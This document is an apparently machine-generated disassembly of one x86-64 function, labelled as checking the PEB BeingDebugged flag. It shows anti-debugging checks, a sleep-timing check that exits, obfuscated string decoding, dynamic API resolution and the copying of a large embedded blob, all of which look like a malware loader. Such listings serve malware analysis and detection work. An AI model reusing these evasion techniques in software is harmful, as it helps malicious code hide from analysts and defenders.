Function at 0x4074f0
Capabilities:
Check for peb beingdebugged flag

Disassembly:
sub rsp, 0x38
movaps xmmword [rsp + 0x20], xmm6
mov eax, 0x10
mov r8, qword [rcx + 0x18]
mov r9, qword [r8 + 8]
test r9, r9
je 0x4074b8
mov rax, r9
add r9, 0xf
neg rax
and rax, r9
mov r10, rdx
imul r10, qword [r8]
jo 0x4074e4
add rax, r10
jo 0x4074e4
movq xmm6, rdx
mov rdx, rax
call fcn.00404100
punpcklqdq xmm6, xmm6
movups xmmword [rax], xmm6
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
ret
call fcn.004073f0
nop
nop word [rax + rax]
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
mov rdx, qword [0x00d5db40]
mov rax, qword [rdx]
cmp rax, 0xdab
jg 0x40802d
mov rcx, qword [0x00d5db30]
lea r8, [rax + 1]
lea rdi, [0x0040d230]
cmp r8, 0xdac
mov qword [rdx], r8
mov qword [rcx + rax*8], rdi
je 0x40802d
lea rdi, [0x0040d220]
mov qword [rcx + r8*8], rdi
lea r8, [rax + 2]
cmp r8, 0xdac
mov qword [rdx], r8
je 0x40802d
lea rsi, [0x0040d200]
mov qword [rcx + r8*8], rsi
lea r8, [rax + 3]
cmp r8, 0xdac
mov qword [rdx], r8
je 0x40802d
lea rdi, [0x0040d1e0]
mov qword [rcx + r8*8], rdi
lea r8, [rax + 4]
cmp r8, 0xdac
mov qword [rdx], r8
je 0x40802d
lea rsi, [0x0040d1d0]
mov qword [rcx + r8*8], rsi
lea r8, [rax + 5]
cmp r8, 0xdac
mov qword [rdx], r8
je 0x40802d
lea rdi, [0x0040d1c0]
mov qword [rcx + r8*8], rdi
lea r8, [rax + 6]
cmp r8, 0xdac
mov qword [rdx], r8
je 0x40802d
lea rsi, [0x0040d1b0]
mov qword [rcx + r8*8], rsi
lea r8, [rax + 7]
cmp r8, 0xdac
mov qword [rdx], r8
je 0x40802d
lea rdi, [0x0040d1a0]
mov qword [rcx + r8*8], rdi
lea r8, [rax + 8]
cmp r8, 0xdac
mov qword [rdx], r8
je 0x40802d
lea rbx, [0x0040d190]
mov qword [rcx + r8*8], rbx
lea r8, [rax + 9]
cmp r8, 0xdac
mov qword [rdx], r8
je 0x40802d
lea rsi, [0x0040d160]
mov qword [rcx + r8*8], rsi
lea r8, [rax + 0xa]
cmp r8, 0xdac
mov qword [rdx], r8
je 0x40802d
lea rdi, [0x0040d180]
mov qword [rcx + r8*8], rdi
lea r8, [rax + 0xb]
cmp r8, 0xdac
mov qword [rdx], r8
je 0x40802d
lea rbx, [0x0040d170]
add rax, 0xc
mov qword [rsp + 0x20], 0
mov qword [rdx], rax
mov rax, qword [0x00d5d5e0]
lea rsi, [rsp + 0x28]
mov qword [rcx + r8*8], rbx
lea rcx, [0x00d60140]
call qword [rax]
mov rcx, rsi
mov qword [rsp + 0x28], 0
movsxd rdx, eax
call fcn.004062a0
mov rax, qword [rsp + 0x28]
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x20], rax
call fcn.0040f770
mov eax, dword [0x00d60144]
cmp eax, 6
je 0x407ca0
cmp eax, 5
jg 0x4076e3
mov rax, qword [0x00d5dc30]
mov dword [rax], 1
lea rcx, [0x00d5b120]
mov edx, 0x59bc48a8
call fcn.00404070
mov edx, 0x66f805a8
mov rcx, rax
call fcn.004042c0
lea rcx, [0x00d60120]
mov rdx, rax
call fcn.004060e0
mov rbx, qword [0x00d60118]
mov rcx, qword [0x00d60120]
call fcn.004020d0
test rbx, rbx
mov qword [0x00d60118], rax
je 0x407749
mov rax, qword [rbx - 0x10]
lea rdx, [rbx - 0x10]
sub rax, 8
cmp rax, 7
mov qword [rbx - 0x10], rax
jbe 0x407cd0
mov rcx, qword [0x00d5d800]
mov edx, 0x93fa00
call fcn.00407490
mov r8d, 0x93fa00
lea rcx, [rax + 0x10]
mov rbx, rax
lea rdx, [0x0041b710]
call sub.msvcrt.dll_memcpy
mov rcx, qword [0x00d5db00]
mov rdx, rbx
call fcn.004060e0
mov rax, qword [0x00d5db00]
xor edx, edx
mov rax, qword [rax]
test rax, rax
je 0x407796
mov rdx, qword [rax]
mov rcx, qword [0x00d5d800]
call fcn.00407490
mov rcx, qword [0x00d5dae0]
mov rdx, rax
call fcn.004060e0
mov edx, 0x5454bb68
lea rcx, [0x0041b660]
call fcn.00404070
mov edx, 0x69af36a8
mov rcx, rax
call fcn.004042c0
lea rcx, [0x00d60110]
mov rdx, rax
call fcn.004060e0
mov edx, 0x4ee05468
lea rcx, [0x0041b5e0]
call fcn.00404070
mov edx, 0x263961a8
mov rcx, rax
call fcn.004042c0
lea rcx, [0x00d60108]
mov rdx, rax
call fcn.004060e0
mov edx, 0x1324dfa8
lea rcx, [0x0041b500]
call fcn.00404070
mov edx, 0x5454bb68
mov rcx, rax
call fcn.004042c0
lea rcx, [0x00d60100]
mov rdx, rax
call fcn.004060e0
mov edx, 0xc05b2a8
lea rcx, [0x0041b440]
call fcn.00404070
mov edx, 0x4ee05468
mov rcx, rax
call fcn.004042c0
lea rcx, [0x00d600f8]
mov rdx, rax
call fcn.004060e0
lea rcx, [0x0041b420]
call fcn.00405110
xor edx, edx
mov rcx, rax
call fcn.00404b60
lea rdx, str.LdrLoadDll
mov rcx, rax
call fcn.00410eb0
mov rdx, qword [0x00d5d720]
lea rcx, [0x0041b420]
mov qword [rdx], rax
call fcn.00405110
xor edx, edx
mov rcx, rax
call fcn.00404b60
lea rdx, str.RtlInitUnicodeString
mov rcx, rax
call fcn.00410eb0
mov rdx, qword [0x00d5d740]
lea rcx, [0x0041b300]
mov qword [rdx], rax
mov edx, 0x16e77ba8
call fcn.00404070
mov edx, 0x445f0f68
mov rcx, rax
call fcn.004042c0
lea rcx, [0x00d600f0]
mov rdx, rax
call fcn.004060e0
call fcn.0040fb00
mov rcx, rax
call fcn.00411590
lea rdx, str.GetCurrentProcessId
mov rcx, rax
call fcn.00411220
mov qword [0x00d600e8], rax
call fcn.0040fb00
mov rcx, rax
call fcn.00411590
lea rdx, str.VirtualProtect
mov rcx, rax
call fcn.00411220
mov rdx, qword [0x00d5d760]
mov qword [rdx], rax
call fcn.0040fb00
mov rcx, rax
call fcn.00411590
lea rdx, [0x00419172]
mov rcx, rax
call fcn.00411220
call fcn.0040fb00
mov rcx, rax
call fcn.00411590
lea rdx, [0x0041917e]
mov rcx, rax
call fcn.00411220
mov qword [0x00d600e0], rax
call fcn.0040fb00
mov rcx, rax
call fcn.00411590
lea rdx, str.GetProcAddress
mov rcx, rax
call fcn.00411220
mov rdi, qword [0x00d5d710]
lea rcx, [0x0041b420]
mov qword [rdi], rax
call fcn.00405110
mov rcx, rax
call fcn.00411590
lea rdx, str.RtlAddVectoredExceptionHandler
mov rcx, rax
call fcn.00410eb0
mov qword [0x00d600d8], rax
call fcn.0040fb00
mov rcx, rax
call fcn.00411590
lea rdx, str.GetModuleHandleA
mov rcx, rax
call fcn.00411220
mov qword [0x00d600d0], rax
call fcn.0040fb00
mov rcx, rax
call fcn.00411590
lea rdx, [0x004191d0]
mov rcx, rax
call fcn.00411220
mov qword [0x00d600c8], rax
call fcn.0040fb00
mov rcx, rax
call fcn.00411590
lea rdx, str.SetThreadContext
mov rcx, rax
call fcn.00411220
mov qword [0x00d600c0], rax
call fcn.0040fb00
mov rcx, rax
call fcn.00411590
lea rdx, str.CloseHandle
mov rcx, rax
call fcn.00411220
mov qword [0x00d600b8], rax
call fcn.0040fb00
mov rcx, rax
call fcn.00411590
lea rdx, str.OpenThread
mov rcx, rax
call fcn.00411220
mov qword [0x00d600b0], rax
call fcn.0040fb00
mov rcx, rax
call fcn.00411590
lea rdx, str.GetCurrentThreadId
mov rcx, rax
call fcn.00411220
call fcn.0040fb00
mov rcx, rax
call fcn.00411590
lea rdx, str.WaitForSingleObject
mov rcx, rax
call fcn.00411220
call fcn.0040fb00
mov rcx, rax
call fcn.00411590
lea rdx, [0x00419230]
mov rcx, rax
call fcn.00411220
call fcn.0040fb00
mov rcx, rax
call fcn.00411590
lea rdx, str.Sleep
mov rcx, rax
call fcn.00411220
mov rbx, qword [0x00d5d750]
mov qword [rbx], rax
call fcn.0040fb00
mov rcx, rax
call fcn.00411590
lea rdx, str.GetTickCount
mov rcx, rax
call fcn.00411220
mov qword [0x00d600a8], rax
call fcn.0040fb00
mov rcx, rax
call fcn.00411590
lea rdx, str.CreateFileA
mov rcx, rax
call fcn.00411220
mov qword [0x00d600a0], rax
call fcn.0040fb00
mov rcx, rax
call fcn.00411590
lea rdx, str.GetFileSize
mov rcx, rax
call fcn.00411220
lea rcx, [0x0041b420]
mov qword [0x00d60098], rax
call fcn.00405110
xor edx, edx
mov rcx, rax
call fcn.00404b60
lea rdx, str.RtlAllocateHeap
mov rcx, rax
call fcn.00410eb0
mov qword [0x00d60090], rax
call fcn.0040fb00
mov rcx, rax
call fcn.00411590
lea rdx, str.ReadFile
mov rcx, rax
call fcn.00411220
mov rcx, qword [0x00d5d890]
mov edx, 0x6d30a68
mov qword [0x00d60088], rax
call fcn.00404070
mov edx, 0x7a29c3a8
mov rcx, rax
call fcn.004042c0
mov rax, qword gs:[0x60]
cmp byte [rax + 2], 0
jne 0x407c70
call qword [0x00d600e0]
mov rsi, rax
call qword [0x00d600e0]
cmp dword [rsi + 0x70], 2
jne 0x407cf0
mov eax, dword [rax + 0x74]
test eax, eax
jne 0x407cf0
call fcn.00406130
test al, al
jne 0x407f30
lea rcx, [0x0041b1e0]
mov edx, 0x29bc38a8
call fcn.00404070
mov edx, 0x19fb0d68
mov rcx, rax
call fcn.004042c0
lea rcx, [0x00d60080]
mov rdx, rax
call fcn.004060e0
call qword [0x00d600a8]
mov ecx, 0x5dc
mov esi, eax
call qword [rbx]
call qword [0x00d600a8]
sub eax, esi
cmp eax, 0x513
jg 0x407d00
xor ecx, ecx
call sub.msvcrt.dll_exit
nop dword [rax + rax]
nop word cs:[rax + rax]
lea rcx, [0x0041ae60]
mov edx, 0x441d2aa8
mov qword [rsp + 0x28], 0
call fcn.00404070
mov rcx, rsi
mov qword [rsp + 0x28], rax
call fcn.0040f770
xor ecx, ecx
call sub.msvcrt.dll_exit
nop
mov eax, dword [0x00d60148]
cmp eax, 2
je 0x4076d6
cmp eax, 3
je 0x4076d6
test eax, eax
je 0x4076d6
cmp eax, 1
je 0x4076d6
jmp 0x4076e3
mov rcx, qword [0x00d5db20]
add rcx, 0x18
call fcn.00406020
jmp 0x407749
mov ecx, 1
call sub.msvcrt.dll_exit
nop word [rax + rax]
lea rcx, [0x0041ae80]
mov edx, 0x5b4d3068
call fcn.00404070
xor ecx, ecx
mov rbx, rax
mov rax, qword [0x00d60118]
test rax, rax
je 0x407d25
mov rcx, qword [rax]
test rbx, rbx
je 0x408010
add rcx, qword [rbx]
call fcn.00404280
mov rdx, qword [0x00d60118]
mov rsi, rax
test rdx, rdx
je 0x407d4d
mov rcx, rax
call fcn.0040fbc0
mov rdx, rbx
mov rcx, rsi
call fcn.0040fbc0
lea rcx, [0x00d60118]
mov rdx, rsi
call fcn.004060e0
mov edx, 0x228333a8
lea rcx, [0x0041af20]
call fcn.00404070
mov edx, 0x4e361aa8
mov rcx, rax
call fcn.004042c0
mov rcx, rax
call fcn.00405dd0
mov rbx, qword [0x00d5d5f0]
mov rcx, rax
call qword [rbx]
lea rcx, [0x0041aee0]
mov edx, 0x75be26a8
call fcn.00404070
mov edx, 0x7234e5a8
mov rcx, rax
call fcn.004042c0
mov edx, 0x256da68
lea rcx, [0x0041aea0]
mov rsi, rax
call fcn.00404070
mov edx, 0x71458768
mov rcx, rax
call fcn.004042c0
mov rcx, rsi
mov rbp, rax
call fcn.00405dd0
mov rcx, rax
call qword [rbx]
cmp eax, 0xffffffff
je 0x407f70
mov rax, qword [0x00d5d600]
xor edx, edx
mov ecx, 0x1000
movabs r8, 0xffffffff1
call qword [rax]
test rax, rax
jne 0x407f90
lea rcx, [0x0041b120]
mov edx, 0x6370f4a8
call fcn.00404070
mov edx, 0x3454a3a8
mov rcx, rax
call fcn.004042c0
lea rcx, [0x00d60078]
mov rdx, rax
call fcn.004060e0
mov edx, 0x218130a8
lea rcx, [0x0041b100]
call fcn.00404070
mov edx, 0x7b36e4a8
mov rcx, rax
call fcn.004042c0
lea rcx, [0x004190a1]
test rax, rax
je 0x407e77
cmp qword [rax], 0
lea rdx, [rax + 0x10]
cmovne rcx, rdx
call qword [0x00d600d0]
mov edx, 0x665f9868
lea rcx, [0x0041b0c0]
mov rbx, rax
call fcn.00404070
mov edx, 0x1f69f468
mov rcx, rax
call fcn.004042c0
lea rdx, [0x004190a1]
test rax, rax
je 0x407eb6
cmp qword [rax], 0
lea rcx, [rax + 0x10]
cmovne rdx, rcx
mov rcx, rbx
call qword [rdi]
mov qword [0x00d60070], rax
call fcn.0040fb00
mov rcx, rax
call fcn.00411590
lea rdx, str.LoadLibraryA
mov rcx, rax
call fcn.00411220
mov rdx, qword [0x00d5d730]
mov qword [rdx], rax
call fcn.004120b0
call fcn.004120b0
mov edx, 0x5bcbbfa8
lea rcx, [0x0041afa0]
call fcn.00404070
mov edx, 0x7c55ff68
mov rcx, rax
call fcn.004042c0
lea rcx, [0x00d60068]
mov rdx, rax
call fcn.004060e0
nop
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
ret
lea rcx, [0x0041b2e0]
mov edx, 0x6c273768
call fcn.00404070
mov edx, 0x77b507a8
mov rcx, rax
call fcn.004042c0
lea rcx, [0x00d60118]
mov rdx, rax
call fcn.004060e0
jmp 0x407c0b
mov rcx, rbp
call fcn.00405dd0
mov rcx, rax
call qword [rbx]
jmp 0x407df1
lea rcx, [0x0041af80]
mov edx, 0x6e850b68
call fcn.00404070
mov edx, 0x6dc0068
mov rcx, rax
call fcn.004042c0
lea rcx, [0x00d60120]
mov rdx, rax
call fcn.004060e0
mov rbx, qword [0x00d60118]
mov rcx, qword [0x00d60120]
call fcn.004020d0
test rbx, rbx
mov qword [0x00d60118], rax
je 0x407e14
mov rax, qword [rbx - 0x10]
lea rdx, [rbx - 0x10]
sub rax, 8
cmp rax, 7
mov qword [rbx - 0x10], rax
ja 0x407e14
mov rcx, qword [0x00d5db20]
add rcx, 0x18
call fcn.00406020
jmp 0x407e14
call fcn.00404280
mov rdx, qword [0x00d60118]
mov rsi, rax
test rdx, rdx
jne 0x407d50
jmp 0x407d58
call fcn.00401d10
nop
nop dword [rax]
nop word cs:[rax + rax]